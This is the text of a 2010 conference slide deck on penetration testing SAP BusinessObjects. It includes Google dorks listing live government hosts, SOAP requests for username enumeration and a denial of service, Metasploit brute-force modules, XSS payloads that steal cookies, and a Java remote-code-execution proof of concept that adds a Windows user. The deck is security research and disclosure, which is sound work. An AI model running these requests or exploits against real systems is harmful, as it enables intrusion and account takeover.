




Hacking SAP BusinessObjects

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09/22/10



Overview

Methodology / Threat Model

Reconnaissance / Discovery

Attacking!

Summary

Standard Disclaimer

**Do not do anything
contained
within this
presentation
unless you have
written
permission!!**



Who are We?

- ▶ Joshua “Jabra” Abraham – Security Consultant/Researcher
 - Penetration Testing , Web Application Audits and Security Researcher
 - Bachelor of Science in Computer Science
 - Contributes to the BackTrack LiveCD, BeEF, Nikto, Fierce, and PBNJ
 - Speaker/Trainer at BlackHat, DefCon, ShmooCon, SANS Pentest Summit ,OWASP Conferences, LinuxWorld, Infosec World, CSI and Comdex
 - Twitter: <http://twitter.com/jabra> Blog: <http://sploit.wordpress.com>

- ▶ Willis Vandevanter – Security Consultant/Researcher
 - Penetration Tester and Security Researcher
 - BSc in CS, Masters of CS in Secure Software Engineering
 - Twitter: http://twitter.com/willis__ (two underscores!!)

Rapid7 Overview

► Vulnerability Management



NEXPOSE

► Open source projects

metasploit



► Professional Services

- Network Pentesting
- Web Application Audits
- Training
- Deployment




Overview

- ▶ What we will discuss
- ▶ What we will not discuss
- ▶ Things to keep in mind
 - Breaking stuff is cool
 - Disclaimer



SAP Product Suite

- ▶ Enterprise Resource Planning
- ▶ Business Intelligence (BI)
- ▶ Business Suite
 - Customer Relationship Planning
 - Enterprise Resource Planning
 - Product Lifecycle Management
 - Supply Chain Management
 - Supplier Relationship Management
- ▶ R/3
- ▶ BusinessObjects
- ▶ Netweaver




Focus of this talk


- ▶ SAP BusinessObjects Enterprise XI (XI 3.2 is the latest version)
- ▶ 20,000 ft view
 - Aggregating and analyzing vast amounts of data along with presentation of/providing access via many interfaces
 - Flexible, Scalable, and Accessible



BO BI Architecture Overview



Interfaces we focused on



Central Management Console


- ▶ Administrative Interface to BO
- ▶ Access is provided via the webserver
(<http://ip:6405/CmcApp>) authenticates against the Central Management Server
- ▶ Provides
 - User and group creation and management
 - Server/Services Configuration
 - Object Rights, scheduling, security settings



Web Services


► Provides:

- Session Handling
 - Auth, User privilege management
- Business Intelligence Platform
 - Server administration, scheduling, etc.
- Report Engine
 - Access reports (Crystal Reports, Web Intelligence, etc.)
- Query
 - Build ad hoc queries




Service Oriented Architecture 101

- ▶ Think Object Oriented over XML
- ▶ Add this on top of HTTP
- ▶ That's SOA!
- ▶ Connect Legacy systems



SOAP 101

- ▶ Web Services
 - API in XML over HTTP
- ▶ OSI Layer 8,9 and 10...
 - Layer 8 – XML
 - Layer 9 – Security (WS-*)
 - Layer 10 – SOAP
- ▶ “Wiz Dullz” (WSDLs)
 - Data definitions
- ▶ UDDIs
 - Pointers



Threat Model

Web Services in Transit


Web Services Engine

Web Services Deployment

Web Services User Code

SSL vs Message Security

- ▶ Point-to-Point OR chained workflow
- ▶ SSL (All or nothing)
 - No fine grained control of portions of the applications
 - No audit trail
- ▶ Message
 - Ton of work!
 - Add amounts of security
 - Audit trail
 - Verify messages have not changed!
 - Encrypt message body (admin attack)





Tools of the Trade

- ▶ SOAP QA Testing tools
 - SOAPUI
- ▶ Favorite Programming Language
 - Custom tools
- ▶ Proxies
 - Our favorite BurpSuite!
- http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html

Custom Web Services Client


```
#!/usr/bin/ruby -w
require 'soap/wsdlDriver'
require 'pp'
wsdl = 'http://www.webservices.net/stockquote.asmx?WSDL'
driver = SOAP::WSDLDriverFactory.new(wsdl).create_rpc_driver
# Log SOAP request and response
driver.wiredump_file_base = "soap-log.txt"
# Use Burp proxy for all requests
driver.httpproxy = 'http://localhost:8080'
# Log SOAP request and response
response = driver.GetQuote(:symbol => 'MSFT')
pp response
```

SOAPUI




BurpSuite


- ▶ Usage with Intruder
- ▶ Verify the PRNG – Sequencer
- ▶ Etc., etc.




X's and O's and Icebergs



X's and O's and Icebergs



X's and O's and Icebergs



Overview

Methodology / Threat Model

Reconnaissance / Discovery

Attacking!

Summary

Real-World Pentesting

► Evil Attackers - Blackhats

- Financially Motivated
- Not limited by amount of time and/or resources

► Pen testers – Whitehats


- Context / Goal Focused (experience, 6th sense, etc)
- Demonstrate real world risks, but limited by the time of the engagement
- A snapshot of the network/application at a point in time

Goal Oriented Pentesting

- ▶ Emulate Blackhat, by using Goals as motivation
- ▶ Doesn't replace experience / 6th sense elements
- ▶ Pentesting teams focus efforts on critical weaknesses
- ▶ Non-technical methodology in which process is central focus
- ▶ Provides best (ROI) for organizations when they conduct penetration assessments

Threat Model

- ▶ Lot of Entry points, we examined a couple
- ▶ Different Goals for Different Folks
 - Unauthorized Access to Information
 - Remote Exploitation of BO Server and Internal Pivot
 - Informational Only (Version Fingerprinting, etc.)



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Web Application Overview

- ▶ /CmcApp
 - Administrator interface
- ▶ /dswsbobje
 - Web Services for BusinessObjects
 - Not installed by default
 - Requires deployment of a war
- ▶ /InfoViewApp
 - Querying interface
- ▶ /AnalyticalReporting
 - Reporting interface

Reconnaissance

- ▶ External and Internal Enumeration
 - Google dorks for identifying externally accessible instances
 - Port and application based enumeration
- ▶ Version Fingerprinting
 - Browser based
 - Web services based



Google Dorks



- ▶ BusinessObjects –
InfoViewApp interface
inurl:infoviewapp
- ▶ Crystal Reports
 - filetype:cwr
 - filetype:cwr inurl:apstoken
 - filetype:cwr inurl:viewrpt
 - inurl:apspassword
 - filetype:cwr inurl:init
 - inurl:opendoc inurl:sType

inurl:infoviewapp inurl:gov/

Search

10 results (0.28 seconds)

[Advanced search](#)

Tip: [Search for **English** results only](#). You can specify your search language in [Preferences](#)

[Quarterly reports on federal grants, loans and contracts - SC.GOV](#) ☆

[arra.sc.gov/InfoViewApp/index.jsp](#) - Cached

[InfoView](#) ☆ - [[Translate this page](#)]

BusinessObjects InfoView. Conectarse a InfoView. Ayuda.

[dwh.educacion.gov.ec:8080/InfoViewApp/logon.jsp](#) - Cached

[InfoView](#) ☆

BusinessObjects InfoView. Efetuar Login no SIG-MT. Ajuda. Gestão do SIG-MT: gsig

@cepromat.mt.gov.br / Fones: (65) 3613-3090 / 3240.

[https://sig2.mt.gov.br/InfoViewApp/](#) - Cached - Similar

[Acesso Livre - Portal do Estado de Mato Grosso](#) ☆

[https://sig2.mt.gov.br/InfoViewApp/autologon.jsp](#) - Cached

[https://sig2.mt.gov.br/InfoViewApp/listing/main.do...](#) ☆

Cached

[www.sni.gov.ec/sni-publico/InfoViewApp/logon/start...](#) ☆ - [[Translate this page](#)]

Cached

[InfoView](#) ☆ - [[Translate this page](#)]

BusinessObjects InfoView. Efetuar logon em InfoView. Ajuda.

[dwsep.planejamento.sp.gov.br:8080/InfoViewApp/](#) - Cached

[dwsep.planejamento.sp.gov.br:8080/InfoViewApp/jsp/...](#) ☆

- [[Translate this page](#)]

Cached

Um, anyone want a port scan internally?

- ▶ Google: filetype:cwr inurl:apstoken
- ▶ Internal port scanning (port 80)
- ▶ `http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal:80@$TOKEN`
- ▶ **Port Closed Response :**
Server \$HOSTNAME:80 not found or server may be down (FWM 01003)
- ▶ internal port scanning (port 445)
- ▶ `http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal:445@$TOKEN`
- ▶ **Port Open Response:**
- ▶ # Unable to open a socket to talk to CMS \$HOSTNAME:445 (FWM 01005)

Unique Ports

- ▶ 6405/tcp
/InfoViewApp
/CmcApp
/AnalyticalReporting
- ▶ 8080/tcp
/dswsbobje



Version Detection – Web App

Request:

`http://x.x.x.x:6405/AnalyticalReporting/AnalyticalReporting_merge_web.xml`

Response:

...snip...

```
<web-app>
  <context-param>
    <param-name>applet.version</param-name>
    <param-value>12.1.0.828</param-value>
  </context-param>
</web-app>
```

Version Detection – Web Service

Request:

POST http://x.x.x.x:8080/dswsbobje/services/Session

..snip..

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns="http://session.dsws.businessobjects.com/2007/06/01">
  <soapenv:Header/> <soapenv:Body> <ns:getVersion/> </soapenv:Body>
</soapenv:Envelope>
```

Response:

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <getVersionResponse xmlns="http://session.dsws.businessobjects.com/2007/06/01">
      <Version>12.1.0</Version>
    </getVersionResponse>
  </soapenv:Body> </soapenv:Envelope>
```

MSFv3 Version Detection Module

```
msf> use scanner/http/sap_businessobjects_version_enum
sap_businessobjects_version_enum> set RHOSTS 192.168.1.0/24
sap_businessobjects_version_enum> run
```

- ▶ Based on using Dswsbobje (8080/tcp)
- ▶ Web Service Version request - Unauthenticated

Username Enumeration

- ▶ Response tells you if the username is valid
- ▶ Valid Username
/Invalid password/
- ▶ SOAP method only

Username Enumeration

POST /dswsbobje/services/session HTTP/1.1

Content-Type: text/xml; charset=UTF-8

SOAPAction: "http://session.dsws.businessobjects.com/2007/06/01/login"

User-Agent: Axis2

Host: x.x.x.x:8080

Content-Length: 631

```
<?xml version='1.0' encoding='UTF-8'?>
```

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
```

```
<soapenv:Body>
```

```
<login xmlns="http://session.dsws.businessobjects.com/2007/06/01">
```

```
<credential xmlns="http://session.dsws.businessobjects.com/2007/06/01"
```

```
  xmlns:ns="http://session.dsws.businessobjects.com/2007/06/01"
```

```
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Login="administrator"
```

```
  Password="PASSWORD1" xsi:type="ns:EnterpriseCredential" />
```

```
</login> </soapenv:Body></soapenv:Envelope>
```

MSFv3 User Enumeration Modules

```
msf> use scanner/http/sap_businessobjects_user_enum
sap_businessobjects_user_enum> set RHOSTS 192.168.1.0/24
sap_businessobjects_user_enum> set USERNAME administrator
sap_businessobjects_version_enum> run
```

- ▶ Based on using Dswsbobje (8080/tcp)
- ▶ Web Service Login request

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Summary



Unique Identifier (CUID)

- ▶ CUIDs – used similar to session ids for tasks that are performed.
- ▶ Ability to request a specific number of CUIDs

Denial of Service Attack

- ▶ I'd like 100,000 CUIDs please!

POST /dswsbobje/services/biplatform HTTP/1.1

Content-Type: text/xml; charset=UTF-8

SOAPAction:

<http://biplatform.dsws.businessobjects.com/2007/06/o1/GenerateCuids>

DoS

```
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<GenerateCuids xmlns="http://biplatform.dsws.businessobjects.com/2007/06/01">
  <SessionID xmlns="http://biplatform.dsws.businessobjects.com/2007/06/01">it-
  dirs8l4vkou4%3A6400|%40it-dirs8l4vkou4%3A6400|it-
  dirs8l4vkou4%3A6400%402149JabmPLnS4EzOXTzw2148JfhkJg2K28oTJ1Nq|osca%3Aiiop
  %3A%2F%2Fit-
  dirs8l4vkou4%3A6400%3BSI_SESSIONID%3D2148JfhkJg2K28oTJ1Nq|en_US|America/Los_
  Angeles">
  </SessionID>
  <numCuids xmlns="http://biplatform.dsws.businessobjects.com/2007/06/01">
    100000
  </numCuids>
</GenerateCuids>
</soapenv:Body>
</soapenv:Envelope>
```


Oracle SQL Injection Error Codes

- ▶ Catch interesting errors
 - ORA-00921: unexpected end of SQL command
 - ORA-00936: missing expression
 - ORA-00933: SQL command not properly ended
 - ORA-00970, ORA-00907, ORA-01756, ORA-00923, ORA-00900, PLS-00103, LPX-00601, ORA-00604
- ▶ Crashes – for C code
 - ORA-03113 – might also be an instance crash
 - ORA-03114, ORA-01012
 - ORA-00600 – Internal error
- ▶ <http://www.slaviks-blog.com/wp-content/uploads/2008/12/UKOUG122008-slavik.pdf>

MSFv3 User Bruteforce Module

```
msf> use scanner/http/sap_businessobjects_user_brute
sap_businessobjects_user_brute> set RHOSTS 192.168.1.0/24
sap_businessobjects_user_brute> set USERNAME administrator
sap_businessobjects_user_brute> set PASSWORD password
sap_businessobjects_version_brute> run
```

- ▶ Based on using Dswsbobje (8080/tcp)
- ▶ Web Service Login request

MSFv3 User Bruteforce Module (Web)

```
msf> use scanner/http/sap_businessobjects_user_web
sap_businessobjects_user_web> set RHOSTS 192.168.1.0/24
sap_businessobjects_user_web> set USERNAME administrator
sap_businessobjects_user_web> set PASSWORD password
sap_businessobjects_version_web> run
```

- ▶ Based on using CmcApp (6405/tcp)
- ▶ Web Application Login request

Reflective Cross-Site Scripting


Request:

```
GET /dswsbobje/axis2-  
admin/engagingglobally?modules="%3e%20%3cXSS%3e&submit=+Engage+  
HTTP/1.1  
Host: x.x.x.x:8080  
..snip...
```

Response:

```
....snip...  
<p><font color="blue">The system is attempting to engage a module that is  
not available: "> <XSS></font></p>  
<!--  
...snip...
```

Persistent Cross Site Scripting



The **Apache Software Foundation**
<http://www.apache.org/>

Tools

[Upload Service](#)

System Components

[Available Services](#)

[Available Service Groups](#)

[Available Modules](#)

[Globally Engaged Modules](#)

[Available Phases](#)

Execution Chains

[Global Chains](#)

[Operation Specific Chains](#)

Engage Module

Edit Service Parameters

Service Parameters :: HelloWorld

ServiceClass

HelloWorld"><script>alert{document.cookie }</script>

Operation Paramaters ::

Operation : sayHello

Change



Persistent Cross Site Scripting

 **Apache Software Foundation**
<http://www.apache.org/>



Edit Service Parameters

Service Parameters :: Help

ServiceClass

[Groups](#)

[Modules](#)

[Chains](#)



Remote Code Execution

- ▶ Cross-Site Scripting is Great, but we want a shell!!
- ▶ CmcApp
 - Services for Upload and Exec:
 - InputFileRespository
 - ProgramJobServer - not enabled by default
 - To execute an Exe, administrator credentials required



CmcApp RCE

- ▶ You can set program object specific logon details by editing the "Program Logon" property of an object.
- ▶ These authentication details are not required if the credentials have been globally set
- ▶ (Applications > CMC > Program Object Rights > "Schedule with the following Operating System Credentials").
- ▶ Reference: CMC > Help > Index > program objects > Java programs > Authentication and program objects

CmcApp Steps for RCE

1. Log on to the server computer.
2. Go to Control Panel > Administrative Tools > Local Security Policy.
3. Under Security settings click Local Policies and then click User Rights Assignment.
4. Add the domain user account to the following policy:
 - a. Replace Process Level Token Policy.
 - b. Log on as a batch job.
 - c. Adjust memory quotas for a process.
 - d. Access this computer from the network. (usually everyone by default)
5. Go to the CCM and stop the Program Job Server.
6. Right-click Program Job Server and then click Properties.
7. Type the domain user account and password into the Log On As textbox.
8. Now you can schedule a metric refresh.

Dswsbobje

- ▶ Provides Web Services for BusinessObjects
- ▶ Not installed by default
- ▶ Requires:
 - Deployment of war
 - Requires Tomcat interface
Remember the Tomcat Manager Vulnerability
(tomcat/tomcat) => Remote Code Execution
- ▶ Opens up a new interface!
 - <http://x.x.x.x:8080/dswsbobje/axis2-admin/login>



Dswsbobje (think: dsw-s-bobje)

- ▶ Ability to administer web services
 - ▶ Modify web services
 - ▶ Delete web services (already deployed)
 - ▶ Add web services (... hmm that sounds handy!)
-
- ▶ Guess what.... it is!

Remote Code Execution PoC

```
package org.apache.axis2.axis2userguide;
import java.io.IOException;
public class AddUser {
    public AddUser() {
    }
    public void main() {
        Process process;
        try {
            process = Runtime.getRuntime().exec("net user foo bar /add");
        }
        catch(IOException ioexception) {
            ioexception.printStackTrace();
        }
        return;
    }
}
```




DEMO!

- ▶ http://sploit.org/files/talks/source_barcelona10/demo/RCE_SAP_BusinessObjects_Dswsbobje.html



GAME OVER

RCE Attack / Recommendations

- ▶ Attack requires the following:
 - Dswsbobje is deployed
 - (It is deployed if you are using SOA!)
 - Default administrator credentials are still in-place
 - Restart of Tomcat service are uploading malicious web service

- ▶ Change default credentials:
`C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\dsWSBobje\WEB-INF\conf\axis2.xml`

Summary / QA

- ▶ Technical Methodology for pentesting SAP BusinessObjects
- ▶ Understanding SOAP / SOA is a large portion of Hacking SAP BusinessObjects
- ▶ Security Advisory to be released October 12th (www.rapid7.com)
- ▶ Metasploit Modules to be released October 12th (www.metasploit.com)

Comments/Questions?

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- Blog: <http://sploit.wordpress.com>
- Twitter: <http://twitter.com/jabra>

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- Twitter: http://twitter.com/willis__ (two underscores!)
- Company: <http://www.rapid7.com>